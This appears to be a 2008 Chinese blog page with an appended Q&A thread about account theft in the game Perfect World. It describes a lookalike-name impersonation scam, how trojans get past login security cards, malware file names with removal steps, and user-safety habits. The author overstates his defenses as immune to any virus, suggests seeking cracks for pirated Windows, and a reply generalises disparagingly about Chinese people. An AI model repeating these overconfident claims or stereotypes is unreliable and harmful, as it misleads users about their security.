系统检测到您的帐号可能存在被盗风险，请尽快
，并立即
。 | 网易博客安全提醒：
系统检测到您当前密码的安全性较低，为了您的账号安全，建议您适时修改密码 | | 张元龙 QQ396926169
业务:人寿万能险/车险/短信彩信广告营销/
导航 日志 完美国际防盗专题
2008-07-25 20:44:11
| 分类：
| 标签：
小 在一段时间里，经常有人时不时的说被帮里人或者是被好友骗了，而被指做骗子的人却被弄得一头雾水。现在我把这种骗术给大家介绍下，请各位朋友引以为谏，别轻易上了骗子的当，还冤枉了自己的朋友。
1、骗子会首先建一个小号站在某个地方观察
（我几次遇到的地方是在万流城，估计骗子选择那里是因为那里级高的人多，好东西也就多），选择同一个帮派的，站在一起的人做为行骗的目标。
2、骗子会选择目标中名字比较容易被混淆的人，建一个和这个人名字相似的小号
如：魔￠瓜子壳壳→魔￠瓜子亮亮、老衲泻了→老纳泻了、○。花城花少。○→0。花城花少。0等等
3、骗子就用这个号M他观察到的和这个号本人同一帮派或者是朋友的人。
这时候，骗子会让你把你身上的值钱的装备拿下来，然后叫你给他事先站在那里观察的那个小号，说给小号玩玩啊什么的。值得我们注意的是：
通常骗子在说这些话的时候，被他冒充的人往往就站在被骗者的身边。
这样的情况下，被骗者大多会被麻痹，以为真是自己的朋友或者一个帮派的人在和自己说话，就觉得既然这个大号都在自己身边应该没什么问题，然后轻易的就把骗子要的东西给了骗子所说的小号手里，骗子也就得逞了。
给大家讲个具体的事例吧。
有天我在万流看拍卖，然后我朋友花城花少就M我了，说：“把你武器拿下来看看。”我以为他是要我把武器拿下来看我穿时装的效果呢，就拿下来了。然后他又说“把武器给我小号玩玩。”然后我就觉得不对了。因为在这之前，曾经有人冒充过我的名义去骗我朋友的黑洞，还好我朋友一眼就看出名字不对没有上当。所以我就回话说：“不给。”同时，我在帮里叫花少，问他找我要武器做什么，花少被我说得一头雾水，说根本没有这样的事情。
我于是把M我的花少和我朋友花少的名字一对比，发现了其中的奥秘，M我要武器那个花少名字两边的圈其实是0（或者是O）比我朋友名字两边的圈○要瘦些。这下我才确定我刚才是遇到骗子了。
以上的这种骗术，通常利用了以下两点：
1、是被冒充人的名字一般都是非常容易被混淆的，特别是有符号、圈圈、字母的名字；
2、利用了大家对同帮派朋友的信任。
请大家务必要注意：
一定要看清楚M自己要东西的人的名字；东西不要随便给小号。 关于***密保是怎么被盗的
目前知道的只有一种，就是先用木马得到你的帐号，然后在后台不停的登陆，大约每5秒尝试一次吧（这是木马自动执行的），当你打了解密***后，如果5秒内不登陆很有可能就被木马登陆，然后木马程序会给远程罪犯发送手动操作请求，这样你的帐号被别人登陆的时候是锁定的，就算你自己打多少次***都没用的。
防范这种木马的方法就是：
输入帐号和密码后就把鼠标点在登陆键上，然后打***，当提示解密成功后马上按下登陆键，尽量少于1秒的间隔。 独门防毒秘决
玩的所有游戏从没有被盗过，也包括完美世界。我是从内测时开始玩的。
我的信箱,QQ,等等一却用帐号的地方，从来没有被盗过，可不要说五六年来都是运气好哟。。。
这是我自己的一点经验，不对之处请见凉。我以前是在网吧做网管的。所以对一些安全保护了解一些。初次使用起来有点麻烦。但使用好了后就很容易简单了。
总结起来是三重保护：
重点:前提是要装了 冰点还原精灵(当然是要用最新版的）
1,如果想玩游戏,就开机后直接玩游戏.
2,如果看过其它的不良网站或下过什么不良的软件.要玩游戏前先重启一次电脑.
3,卡巴基斯是我的第一道保障.如果,被突破.就重启.当然为了保险起见,玩游戏前要么是刚开机,要么是重启后再玩
4,重点:第二重保护是:因为我是给自己的电脑装了"冰点还原精灵"的,当然我自己是不会去破解它的.那么一重启后,就所有的前面做的操作都被清除了,连格式化硬盘,都不怕.都会还原到从前...就算中了病毒木马.也不怕.
5,如果不是人工操作,目前是没有什么病毒木马能把冰点破掉的,除非他本人来到你的电脑上破解,.
6,在新装的操作系统上,在却保没病毒木马的情况下装好驱动和游戏.游戏是事先下在另一个盘中备份的,装游戏时和驱动时是ADSL不开的.装好游戏后再用卡巴查杀一下。然后连网更新.更新好后再用卡巴查杀一下。再加冰点保护。
7，在更新游戏后。断网,查下病毒,在其它装软件前,在加了冰点保护的时候运行试下，看有没有病毒.或可疑的情况发生。如果有就不要装了。重启就行了。如果没有一却正常的话。再脱掉保护，尽量在断网的情况下装软件。装好后。一定要查毒，后再加冰点保护。然后重启
8,加冰点时把所有的分区都保护上。只留最后一个盘不加保护，方便下载软件，和存文件。游戏和其它的工具软件当然不要装在这个没加保护的盘上。没加保护的一个盘只存东东。其它的什么都不做。没加保护的这个盘在重启后是不会被还原的。而其它的所有盘包括C盘都一定要加保护
我就这样打造了一个百毒不怕的电脑。
当然还有最后最后一道保护就是也做了GHOST
如果那天出了超级病毒能把冰点也破了。就用最后一招。GHOST
我的三道保护，陪了我五六年，电脑从没有怕过什么。
第一道，卡巴基斯
每二道，冰点还原
第三道，GHOST
前几个月，我的电脑在看了一个电影时被熊猫烧香咬上了。连卡巴基斯都无能为力，电脑里全是熊猫。
然后我一重启。就一却ok了。这个人见人怕的病毒也不过如此嘛！！！在我的第二道保护下就搞定了。嘻 嘻
有一次：一ＭＭ来玩我的电脑她不小心把我的D盘格式化了,我的很多游戏就是放在D盘上.她急地眼泪都流出来了,我告诉她别急.看我的.我一重启电脑.所有消失的东东全部都回来了.嘻 嘻.她一直到现在都在崇拜我...
说了这么多，看着好像很麻烦，其实用起来，是非常简单的
总结起来。就是：
1,留下一个硬盘分区不加保护，用来存放平时的文件和软件
2,要***或更新软件前先脱掉保护，然后重启
3,***或更新软件完了后，再加上保护，然后重启。
就这三点。
用好了你就可以没有顾及的随便看网页（ 也可以看）。下软件使用，什么毒木马都不用怕。
基本上不占内存。恐怕也就占1mb的内存都不到吧，这可以简略不计,
重点是：打造了一个不怕任何病毒木马的电脑
最近很多人中了木马群cmdbcs.exe，wsttrs.exe，msccrt.exe，winform.exe,upxdnd.exe等 这个应该是通过木马下载器下载所致 这些基本上都是些盗号木马
一般sreng日志表现如下
启动项目里 (不一定全)
wsttr gt lt;C:\windows\wsttrs.exe [Microsoft Corporation]
< vcC:\DOCUME~1\用户名\LOCALS~1\Temp\byetmr.exe [Microsoft Corporation]
g1qC:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\rundl132.exe []
upxdndC:\DOCUME~1\用户名\LOCALS~1\Temp\upxdnd.exe [Microsoft Corporation]
winformC:\WINDOWS\winform.exe [N/A]
upxdndC:\DOCUME~1\用户名\LOCALS~1\Temp\upxdnd.exe [N/A]
cmdbc gt lt;C:\WINDOWS\cmdbcs.exe [N/A]
m d gt lt;C:\WINDOWS\m ds.exe [N/A]
< ortonqC:\WINDOWS\nortonq.exe []
SystemC:\Program Files\Common Files\System\Updaterun.exe [N/A]
5cl3vC:\DOCUME~1\用户名\LOCALS~1\Temp\servicer.exe []
m dy gt lt;C:\WINDOWS\m dys.exe []
mhsaC:\DOCUME~1\用户名\LOCALS~1\Temp\mhso.exe []
msccrtC:\WINDOWS\msccrt.exe []
wgs3C:\WINDOWS\wgs3.exe []
wms3C:\WINDOWS\wms3.exe []
twi gt lt;C:\WINDOWS\system32\twunk32.exe []
wsttr gt lt;rem c:\windows\wsttrs.exe []
C:\WINDOWS\m ds.exe
C:\WINDOWS\winform.exe
c:\windows\wsttrs.exe
C:\WINDOWS\cmdbcs.exe
C:\WINDOWS\msccrt.exe
C:\WINDOWS\nortonq.exe等病毒每个会释放一个dll 插入explorer等进程
解决办法
如果在进程里看见了类似情况
请按照以下步骤操作
安全模式下(开机后不断 按F8键 然后出来一个高级菜单 选择第一项 安全模式 进入系统)
打开sreng
启动项目 注册表 删除如下项目 (有哪个删哪个)
wsttr gt lt;C:\windows\wsttrs.exe [Microsoft Corporation]
winformC:\WINDOWS\winform.exe [N/A]
cmdbc gt lt;C:\WINDOWS\cmdbcs.exe [N/A]
m d gt lt;C:\WINDOWS\m ds.exe [N/A]
SystemC:\Program Files\Common Files\System\Updaterun.exe [N/A]
ravshellC:\WINDOWS\system32\SVCH0ST.EXE [N/A]
< vcC:\DOCUME~1\用户名\LOCALS~1\Temp\byetmr.exe [Microsoft Corporation]
m dy gt lt;C:\WINDOWS\m dys.exe []
< ortonqC:\WINDOWS\nortonq.exe []
msccrtC:\WINDOWS\msccrt.exe []
wgs3C:\WINDOWS\wgs3.exe []
wms3C:\WINDOWS\wms3.exe []
twi gt lt;C:\WINDOWS\system32\twunk32.exe []
wsttr gt lt;rem c:\windows\wsttrs.exe []
以及所有的Temp文件夹下的文件建立的启动项目
删除上述对应文件
和C:\WINDOWS\system32\wsttrs.dll
C:\WINDOWS\system32\winform.dll
C:\WINDOWS\system32\cmdbcs.dll
C:\WINDOWS\system32\m ds.dll
C:\WINDOWS\system32\m dys.dll
C:\WINDOWS\system32\msccrt.dll
C:\WINDOWS\system32\wsttrs.dll
C:\WINDOWS\system32\nortonq.dll
如果装有QQ请把QQ ***文件夹中的Timplatform.exe删除 把Timplatfrom.exe重命名为Timplatform.exe
如果哪位网友有发现新情况可以和我交流 我会及时补充
另：添加几个最近流行病毒的解决办法
1 一个不断使电脑发出“当”或者“咚”的声音的病毒
解决方案：
重启计算机进入
安全模式下(开机后不断 按F8键 然后出来一个高级菜单 选择第一项 安全模式 进入系统)
打开sreng
“启动项目”-“服务”-“Win32服务应用程序”中点“隐藏经认证的微软项目”，
选中以下项目，点“删除服务”，再点“设置”，在弹出的框中点“否”：
TomDemoService / TomDemoService
双击我的电脑，工具，文件夹选项，查看，单击选取"显示隐藏文件或文件夹" 并清除"隐藏受保护的操作系统文件（推荐）"前面的钩。在提示确定更改时，单击“是” 然后确定
然后删除
C:\config.exe
2.SysLoad3.exe (Worm.DlOnlineGames)
3.调用cmd.exe狂占系统资源的病毒
安全模式下(开机后不断 按F8键 然后出来一个高级菜单 选择第一项 安全模式 进入系统)
打开sreng
“启动项目”-“服务”-“Win32服务应用程序”中点“隐藏经认证的微软项目”，
选中以下项目，点“删除服务”，再点“设置”，在弹出的框中点“否”：
Windows SystemDown / WindowsDown
双击我的电脑，工具，文件夹选项，查看，单击选取"显示隐藏文件或文件夹" 并清除"隐藏受保护的操作系统文件（推荐）"前面的钩。在提示确定更改时，单击“是” 然后确定
然后删除C:\WINDOWS\system32\servet.exe 改变你的上网习惯,杜绝木马上身
从使用者习惯来谈谈线上游戏盗帐号问题，我首要点出的就是玩家使用电脑和网路习惯不良，加上偏差的游戏心态，以及基本防护观念不足所导致的问题佔大多数，使用者问题佔了七成，其次三成才是资料库和游戏官网问题。
这次来看一些木马程式下手的方式，我这次会先扣除游戏公司资料库被盗的部分，单纯来谈使用者，线上游戏使用者应该如何改变使用电脑的习惯，来避免木马屠城记。
『User拿著P2P软体，马上让防火墙变成废铁，拿著e-ducky、e-mule把Spyware引入内网，拿著四处下载来的新奇软体，绚耀著破解了MSN，其实早就木马屠城了都不自觉，电脑装上K***就以為所向无敌，在内网到处逛高度风险的网站， 游戏外掛就开始在内网用了起来，据我们最近的战况，90%的Spyware，K***是无法侦测的，这时候让我想起了电影MIB，人们还是活在无知当中会比较快乐』
註：Spyware是间谍程式，K***是卡巴斯基，e-ducky、e-mule是P2P抓档案软体（抓Mp3、影片、A片的）
以上经过同意，引自我认识的某MIS资讯工程师的blog片段。
「我没有上其他网站，电脑只有玩游戏，还是被盗了」
很久很久以前（久到我自己都忘记到底是多久远之前了），我有下载过BT主程式，接著***完之后我发现，需要把安全性调降才可以抓东西，这是一件很危险的事情，於是我就不用这东西，最后直接移除掉，到现在我都只用单一对点的FTP找东西。
很多线上游戏的使用者，装了卡巴后，以為定时用一些扫程式软体，例如Ad-aware、Spy sweeper再加上认為防毒软体开了，然后上网到处去晃以為从以安然无恙，如果大家知道卡巴的脆弱，你就不会去乱开网页了。
有很多玩家会在讨论区哭诉说，他的电脑只玩GAME，结果帐号还是被盗，当然我是不相信谁的电脑只有纯粹玩游戏，而不去做其他事情，基本上这是不太可能的。好吧，如果是真的只玩游戏，那我要告诉你，只要接上网路就有危险性。
「我有装卡巴斯基了，怎还是被盗？」
线上游戏的玩家先了解一些基本概念。
所谓防毒或扫木马，一定要有木马或病毒程式样本送给软体公司检测，才能够被解出防护的方法，然后放病毒码给使用者更新防护，现在有很多专攻线上游戏帐密的木马程式是扫不出来的，这些有的是专门针对些游戏下手的，然后可能从某些网站或图档、连结等被注入到你的电脑，產生作用后即会自解消灭或变种，如果你不是有些经验，根本就找不到任何线索来追查，更别说把问题程式抓出来送给人家去检测了，目前市面上有太多外掛，不管付费还是免费，内藏的马几乎都是扫不出来的。
别把卡巴斯基和扫木马软体当成是铁打神盾，如果你了解木马针对线上游戏玩家的攻击与运作，你会觉得卡巴斯基真的是一片薄纸，它只能挡住已知、被发现的病毒程式。骇客也知道种这些旧木马会被K***拦下来，人家当然重新会去撰写新的程式来下手，这些新的木马程式是扫毒抓不出来的。
病毒程式必须被送到防毒软体公司检测过，并製造出防护的病毒码，还得让使用者下载更新后，未来你才有机会扫到有问题的程式，并不是只要装卡巴，就可以扫到问题，请一些没有基本防护观念的玩家要好好了解。不要把扫毒扫木马软体当守护神膜拜。
下面文章，有部分是我发在杂誌专栏内的文字，我把他们修改后贴上来。
即刻起，请改变你使用电脑的习惯。
更新微软漏洞（Windows updata）
没更新漏洞被盗风险：★★★★★★（最高六星）
这是最重要的工作，任何的防护在没有更新漏洞的微软OS系统下，都形同废物，很多人懒得做Windows updata，或是用盗版XP无法执行更新，於是就因噎废食，认為自己没那麼倒楣，不喜欢更新漏洞的，好死不死你大概就是下一个等著被拋出装备的人。就算你电脑真的只有在玩线上游戏，不做其他事情，你漏洞还是要更新！
漏洞的更新就好比银行金库的防库，你设了再多了锁，打造了再多再厚的墙壁，结果后面被开了一个洞，钱一样会被盗走，微软的漏洞其多无比，就算盗版你也要想办法把漏洞更新完整（请爱用kimo知识查询破解法），只要你有用网路，这些都是基本功夫，一定要做好。
帐号登入方式改变
重要性：★★★★
对自己安全防护没有自信的，最基本要从帐号密码登入的方式来改变，不要照单乖乖的在登入画面输入你的帐密，改成使用不定点的输入方式来keyin帐号密码。举例来说，假设你的帐号是abc123，这时候输入的方式就要改成abc23，然后再把滑鼠点到2前面的空格，把1输入进去，如果密码不长，也可以用这样的方式来输入，如此假设很不幸的你中了木马，对方收到你的帐号资料，出现将会是abc231，而不会是abc123，这种输入方式可以防大部分的侧录，这是免费而且最好用的方式。
小心通讯软体突然其来的连结
重要性：★★★
MSN和yahoo me enger这两种通讯软体最容易被利用的，就是方便的即时传讯内，夹带可直接点开的连结网址，尤其最近使用MSN的网友应该会发现，持续有很多不明且使用简体字暱称的使用者会把你加入，先不论他们动机是什麼，但是这要是出现被利用在有心人身上，只要在连结中放一张图片或执行档，你一点开就中计了。也不要因為好友好心传了什麼东西给你看，就来者不拒，最好先问清楚是什麼东西，藉由盗通讯软体帐号来散播木马的，也是大有案例在。不管是不是你的好友，请小心突如其来送你的连结，如果是不熟的甚至是陌生人，一定要更加小心。
游戏中玩家散播奇怪的网址，以及吸引你的诈骗连结
重要性：★★★★
在游戏中常可以看到有新手玩家到处洗频，无非是在散播外掛或是卖币的讯息，虽然游戏内不能从对话来点选网址连进网页，但是如果要诱惑你去点选木马网页，通常只要打一些耸动的讯息，例如「一击必杀、锁血外掛免费试用」、「加速程式、超好用自动打怪」、「自动採集，超快速练等洗钱外掛试用」，相信十个玩家看了，大概有几个会试著把网址打过去连，好奇心驱使之下上了网站，过几天你就等著帐号被脱光光带出场。这种网站如果不把外掛夹在网址内（避免被防毒软体挡下），也会夹带於外掛下载的程式中，甚至放在外掛程式内，而这些程式从来就不如他们讲的那麼强大，甚至根本就不能用，只是空壳子而已。如果你爱用外掛爱点怪网站，帐号会出问题请千万千万不要怨天尤人，这是自找的。
除了耸动的标题，也有利用玩家贪念来吸引你上勾的方式，像是这种「不玩了，我帐号内有很多钱和稀有装备，有图片给大家看，看完再留言给我」、「外掛换点卡喔，超好用」、「用程式冲到+12没爆过，只要用XXX跟我换我就给你」，如果你有贪念，轻者就是东西被骗，重者就会让你跌入地狱，这些方式虽然一直有新的手法来呈现，但是本质都一样，就是利用玩家贪心来诈骗罢了。玩个线上游戏还喜欢用些什麼鬼东西的，帐号被掏空自然也就不稀奇。
小心被滥用的入口网站搜寻功能
重要性：★★★★
很多人喜欢上网查「外掛」、「洗钱」等字眼来搜寻有没有「好用」的东西。 ：给版友一个参考，看看关键字蒐寻有多氾滥，各位可以看我前面每篇文章最底下的来源网址，你就知道玩家平常都在搜寻网站找些什麼样的东西。
一般标榜「洗钱」的程式100%都是假的，几乎都是木马网页或木马程式甚至图档，洗钱这东西人家自己用都来不及了，怎可能免费分你，天下绝对没有白吃的午餐。利用kimo或是google搜寻关键字要特别小心，现在这些搜寻都被不肖人士变相利用，入口网站过滤网页的效率很低，甚至一些卖币的网站也是利用搜寻来引你点入，就算你打官方的网页，出现假网址的可能性也是很高，有些不肖人士利用「暴力关键字」来增加网站的曝光率，但是网站内放些什麼鬼你怎会知道？所以不要任意相信搜寻出来的各种连结，这些连结的网址要先看清楚。如果你搜寻游戏的名称想上官网，通常排序前两个自己先注意一下网址，前几个排序需要用钱购买，通常会是游戏公司正常的连结，而底下出现的一些怪网页请不要随便闯入，要习惯瀏览左下角的网址和网页说明，不要看到连结就点进去，现在有一堆垃圾网站都是用关键字的搜寻来引诱玩家。
完全变调的kimo家族讨论区
重要性：★★★★★
这是目前问题很大的一个引爆点，很多人爱上入口网站加入一些外掛家族，然后用侥倖的心态等待别人丢些好东西上去，这些外掛洗钱讨论的家族，正好是大陆人士的饕餐，很多人喜欢来这边放木马，只要在标题打上很耸动的「超猛+9XX之剑」、「最强的刷钱程式强力推荐」、「天堂出现82级的超强骑士，有图為证」，类似这样很耸动的标题，很多人就会经不起诱惑点进去连结，连上后哪会有好东西，再来就是等你哀天哭地了。另外也有一些玩家喜欢不劳而获，很爱留Email讨外掛，个人对这种行為真的觉得很可笑，这些人的名单都有人在收集，到时候寄到信箱给你的「惊喜」，相信一定会让你「永生难忘」，被盗个几次，以后你就会学乖了。
知名游戏讨论区更要当心
重要性：★★★
几个大游戏网站都有严格的版主和防护的机制，但是难免会有漏网之鱼会利用新申请的帐号作怪，或是盗别人的帐号来发表一些木马连结，因為身在知名的游戏讨论区，所以很多玩家警戒心会降低，玩家比较容易相信其他玩家发表的连结，这时候千万不要看到耸动的标题进去就点别人发的Link，一定要改掉这个坏习惯，越知名网站越要小心。现在中木马的方式很多种，就连别人分享Flash动画也可能会藏木马，还有一种手法是留影片连结给你，然后使用Realplayer观看影片时自动开啟网页被指引去某网站，网友就这样中了木马程式。不管是多知名的网站，只要文章有连结，点选前请自己多加小心。
爱上***网站和一些互动讨论区（抓mp3、影片、档案）
重要性：★★★★★
有种手法叫做无差别攻击，為何上一些***网站、抓歌网站、下载游戏网站，一堆拉七杂八跟线上游戏不相关的网站，也会让自己被盗帐号？
在Cracker收到这些回报资料后，他们可以将这些资料分类再出售给各种需要的人，隐藏的log会记录你开过哪些游戏，Key入哪些帐号密码，你一次玩三种游戏，三种帐密都到人家手上，他们就会分类汇整，这是很简单的工作，这些资料全都是有价值的。
这边游戏公司的MIS讲了一个案例：有个使用者电脑会重开，把电脑送去给MIS检查后发现隐藏了一个纪录档，裡面有所有开过的线上游戏帐密、MSN密码、登入网站信箱密码、Email帐密、股票、信用卡、银行帐户等等，全部都没放过。
所以千万别以為连一些和游戏不相关的网站就不会出事情。
付费外掛内镶木马
重要性：★★★★★
这东西由我来讲，公信力不够，下面有一篇大陆外掛业者的现身说法，他们把木马程式内镶在付费外掛内，大家可以亲身看看，内容相信你一定会很有兴趣，你就知道你付钱还被强姦，花钱还让人出卖你。
这篇文章是个很好的教材，应该有不少人看过，如果你爱用外掛，你更应该再三阅读，除非你认為被盗也没关係。
隐藏在外掛背后的秘密——外掛製作者访谈
www.gamez.com.tw/showthread.php?t=43858
註：因為这篇文章被一直转贴，我也找不到原始出处，如果有人知道他最早出自哪边请迴响给我，我会再修正连结，在这边先暂时借用这个位置。
-----------------------------------------------------------------
上面的东西我想有玩线上游戏的玩家，有些可能已经看到烦了，但是说实在话，老梗文最实际，去想想為何你的帐号会被盗，多少都是有跡可寻的，有些玩家只玩游戏，只讨论游戏攻略，看到文邹邹的文章就关掉，我想这是最可惜的，因為你可能会错过，拯救你自己问题的机会。如果你不爱看书，连网路教育文章都不爱看，那麼已经没有任何办法可以救你了，麻烦和困扰，总是自找的。
请自己先学会一些基本概念，然后先求自保，再去要求别人，常常看到讨论区有人在求救，但是自己什麼也不懂，连请你列个硬体配备，ram或cpu是什麼的也不会看，那麼就别指望别人会拯救你了。
网路上有太多太多这种教学文章，自己要花点时间少打点怪，多去逛逛别人呕心沥血的经验。
Ok，再来谈点八卦！
管理者中木马，祸害全公司
之前有某游戏公司的GM，也跑去抓外掛来用，结果很有趣的这外掛因為好用，后来在内网传开来，没想到内镶木马，结果整个内网惨兮兮，gm的帐号还被开去搞鬼。
另外这件事情也很有趣，有某游戏公司的点卡流通序号被盗，结果居然是主事者电脑有木马，一般员工不会去碰主管的电脑，没机会的话MIS也不会去维修，结果后来因為闹太大，才被知道原来是这原因。
另外还有个问题，「知情不报」不只发生在玩家身上，游戏公司的员工也会，很多中木马或病毒的人怕捱骂，自己私下找人修电脑，最惨的是重灌，电脑一重灌后，所有证据几乎消失，要追查也没机会。其实说真的，教育这东西不只是玩家，游戏公司员工也是该好好训练整顿的对象，即使是GM或是游戏公司的管理者，就算是董事长或总经理，对於电脑防护的知识不见得会比玩家多到哪去。
更有因為碍於「面子」问题，很多管理者根本不愿意让人家知道任何可能会丢脸的事情，之前也是有个杂誌社网路每天都很慢，后来发现原来是社长电脑中了毒拖累了整个公司。
然而，他们永远不会承认自己的问题，也几乎不接受改革。
我想上面种种例子，都显示电脑防护的基本观念，绝对应该要列為职前教育的一环，尤其是游戏公司，等到事情发生后造成的损失和后续修护成本，这些游戏公司绝对没有列在年度开销上面，全都是额外的支出。
地下活动对於游戏公司的正面冲击
网路科技进步的速度过快，线上游戏防护和立法的脚步都远不及地下活动扩散的速度，而且很多公司都还没有地下活动防范的预备与决心，甚至我们看到很多游戏炒短线，摆明就是预备大捞一笔后準备收手的都有，今天讲这麼多线上游戏的内幕，这些地下活动我想对游戏公司的冲击，不见得全是坏事，没有好好当头棒喝，大概见不到进步，也许很慢，但是也真的有在慢慢改变，例如：没有盗帐号，晶片卡和加密机制大概不会出现。
Fin，我之前有在迴响提到，爆料者有其一定的危险性存在，我必须跟网友们说明白，有时候我不点出名字，是不想多添麻烦，并非无地放失，我并没有2266那种随身保鑣在保护我，希望部分的网友可以理解，我会继续谈这些东西，而不愿意道名称的时候，也请别在迴响问说「是哪一间公司？」这是很白目的。
打到白的重者吃上官司，别人可以想办法湮灭证据后控告你，打到黑的，可能身边就有***抵著头，诸位都会看新闻，这社会黑暗的一面，你们也应该见识过很多，我想我基於保护自己还可以告诉大家一些事情的立场，OK了，我讲的很简单，希望各位可以体谅，有些事情只能点到為止。 评论这张
转发至微博
人 | 分享到： 阅读(
举报 历史上的今天
相关文章
最近读者
this.p={
id:'fks_084074087083087064087095084095083082085074093085',
blogTitle:'完美国际防盗专题',
blogA tract:'
在一段时间里，经常有人时不时的说被帮里人或者是被好友骗了，而被指做骗子的人却被弄得一头雾水。现在我把这种骗术给大家介绍下，请各位朋友引以为谏，别轻易上了骗子的当，还冤枉了自己的朋友。
1、骗子会首先建一个小号站在某个地方观察
（我几次遇到的地方是在万流城，估计骗子选择那里是因为那里级高的人多，好东西也就多），选择同一个帮派的，站在一起的人做为行骗的目标。
2、骗子会选择目标中名字比较容易被混淆的人，建一个和这个人名字相似的小号
如：魔￠瓜子壳壳→魔￠瓜子亮亮、老衲泻了→老纳泻了、○。花城花少。○→0。花城花少。0等等
3、骗子就用这个号M他观察到的和这个号本人同一帮派或者是朋友的人。
这时候，骗子会让你把你身上的值钱的装备拿下来，然后叫你给他事先站在那里观察的那个小号，说给小号玩玩啊什么的。值得我们注意的是：
blogTag:'',
blogUrl:'blog/static/744993200862584411516',
isPublished:1,
istop:false,
type:0,
modifyTime:1216989957768,
publishTime:1216989851516,
permalink:'blog/static/744993200862584411516',
commentCount:0,
mainCommentCount:0,
recommendCount:0, rk:-100,
publisherId:0,
recomBlogHome:false,
attachmentsFileIds:[],
vote:{},
groupInfo:{},
friendstatus:'none',
followstatus:'unFollow',
pubSucc:'',
visitorProvince:'河北',
visitorCity:'廊坊',
isWeekend:true,
taobaoVersion:6,
taobaolink:"http://g.163.com/a?CID=4399&Values=3931351846&Redirect=http://ju.atpanel.com/?url=http://www.tmall.com/?ad_id=100040497852881d4a61&am_id=&cm_id= m_id=",
taobaobgimage:"http://blog.163.com/newpage/images/taobaolayerbg5.jpg",
mset:'000',
mcon:'',
srk:-100,
remindgoodnightblog:false,
isBlackVisitor:false,
isShowYodaoAd:false
{list a as x}
{if !!x}
{if x.moveFrom=='wap'}
{/list}
{if !!a}
${a.selfIntro|escape}{if great260}${suplement}{/if}
{list a as x}
{if !!x}
{/list}
推荐过这篇日志的人：
{list a as x}
{if !!x}
{/list}
{if !! .length>0}
他们还推荐了：
{list b as y}
{if !!y}
{/list}
引用记录：
{list d as x}
{/list}
{list a as x}
{if !!x}
{/list}
{list a as x}
{if !!x}
{/list}
{list a as x}
{if !!x}
{/list}
{list a as x}
{if x_index>9}{break}{/if}
{if !!x}
${fn2(parseInt(x.date),'yyyy-MM-dd HH:mm: ')}
{/list}
{list a as x}
{if x_index>4}{break}{/if}
{if !!x}
${fn2(x.publishTime,'yyyy-MM-dd HH:mm: ')}
{/list}
最新日志
该作者的其他文章
博主推荐
相关日志
随机阅读
首页推荐 {list a as x}
{if !!x} 投票给
{var first_option = true;}
{list x.voteDetailList as voteToOption}
{if voteToOption==1}
{if first_option==false},{/if} “${b[voteToOption_index]}” {/if}
{/list}
{if (x.role!="-1") },“我是${c[x.role]}” {/if} ${fn1(x.voteTime)}
{if x.userName==''}{/if}
{/list} 页脚
- 网易公司版权所有 copy;1997-2011 {list wl as x}
{list x.l as y}
{/list}
{/list}
{if defined('wl')}
{list wl as x}
{/list}＜完美国际＞盗号的真是神奇
悬赏分：20
提问时间：2008-1-23 01:06
提问者：
我就郁闷了，我玩过很多网络游戏，没有见过象完美国际盗号的＜我用的密保卡，已经被盗过一回，这是被盗第2回＞＜第一回把号上的钱拿走了，仓库里的他没有动，把我密保卡解绑了＞＜第二回，号上的钱被拿走了，连药都没有给我留，还给我接了石头任务，仓库里的东西被一扫而空，能拿的全都拿了＞
问题，账号密码被盗号的知道了，很正常，我也会，但是他怎么就能知道我的密保卡？我想他是先解的绑在上的我号，要不然他先上了我号，不会在去麻烦解绑的＞还有最大的疑问，仓库密码为什么他会知道，我不怎么打开仓库，而且经常换换，它怎么就能知道！！！＞＞＞＞＞．”为什么你们不自己练，拿别人的东西，你们很开心吗？还会冲着电脑哈哈大笑，这回号上的东西值钱，可悲．我们受害者不是你们爹妈，用我们的钱养着你们，把自己的快乐建在别人的痛苦之上！如果网络上和谐一点就好了”素质太低！有篇报道，中国的网络游戏案件比国外的事件要多10倍以上，对，中国人多，没素质的也多．有一个故事，在一个旅游团从一个岛上做船回岸时突然有个人说我的钱包拉在岛上了，导游***笑了笑说：”只要下拨旅游团不是中国人就不会丢的”
大家为自己的脸上贴点金吧．或许我说的有点大了！但是这就是中国但是不从小事做起就不会成事．哎～～～～～～～～～～‘最后＜＜＜求高手最好是专门盗号的给我讲一讲，实在是摸不到头脑，太神齐了吧＞＞＞
其他回答
连梦幻西游的将军令都能破,密保卡算什么.武林外传绑了卡一样也丢,盗号的真的不是一般的狠,我很佩服
回答者：
2008-1-23 01:10
盛大的易宝很高明吧？ 还不是一样被盗
魔兽世界的密宝卡很烦琐吧
也一样被盗
只有中国人才会说的一句话就是
道高一尺 魔高一丈
不过你讲这故事还是不敢恭维
也不能一竿子打翻一船人吧
中国还是有很多好人的
这么说吧
就算外国人 50%都是好人
我们中国有1%就比他多了 呵呵。。。。
回答者：
2008-1-23 01:20
听说还有内部工作人员盗号的
完美这个游戏确实不错
可是代理找错了
垃圾代理~~日
回答者：
2008-1-23 02:07
顶楼上的
不过还是强烈鄙视盗号
回答者：
2008-1-23 02:53
希望盗过的没盗过的还有正在被盗着的都关注一下，提高一下自己的防范意识
首先，中木马玩家一旦运行游戏，就会自动激活盗号程序，关闭你的杀毒软件和防火墙，自动通知远方的盗号者准备开始行动。
一、虚假官方提示骗取
木马先强行踢玩家下线，再发一个虚假官方提示，告诉玩家的密保卡已经损坏，被解除绑定之类，并要玩家输入三个密保卡字母对应的数字。
其实这三个数字正是此时盗号者的登陆界面需要输入的三个数字（他已破解你的登陆密码），一旦玩家输入，号被盗也是情理之中了。这种木马的危害较小，只要不输入任何东西就可以了，这个木马也是官方介绍过的。
二、反复T下线记录
这个是破解密保卡的“常 规手段”，通过反复踢玩家下线让他不断输入坐标，再通过木马的截屏功能逐步搜集密保坐标及其对应的坐标数字。诛仙密保输入的数字是明码的，通过截屏就能知 道你的A1、B2等等是什么数字。只需要知道60%以上的数字对应就可以完成破解，这种专破密保的木马叫“矩阵终结者”。
三、长期“常规”记录
短期反复踢玩家下线容易引起玩家警觉，若玩家长期没有更换密保卡，即使是平时的正常操作也会让马夫们逐步分析完你的密保卡对应数字，一旦达到60%就能实现盗号，所以这就是大多数游戏的密保卡只能保你30天的原因。我的到了第33天就顶不住了……
一旦突破你的防范，用分类软件1分钟拿走你的所有东西，根本无须人工操作。
完美最近推出了***密保，那么***密保用***密保怎么又会被盗那？
破解之一：
盗号者在盗到号（这里指账号和登陆密码）后做的第一件事是先去检查一下有什么密保
如果是***密保，OK了，开始破解
打开***密保的网页，用盗来的号登陆后，会显示出绑定的***
格式如1111***111
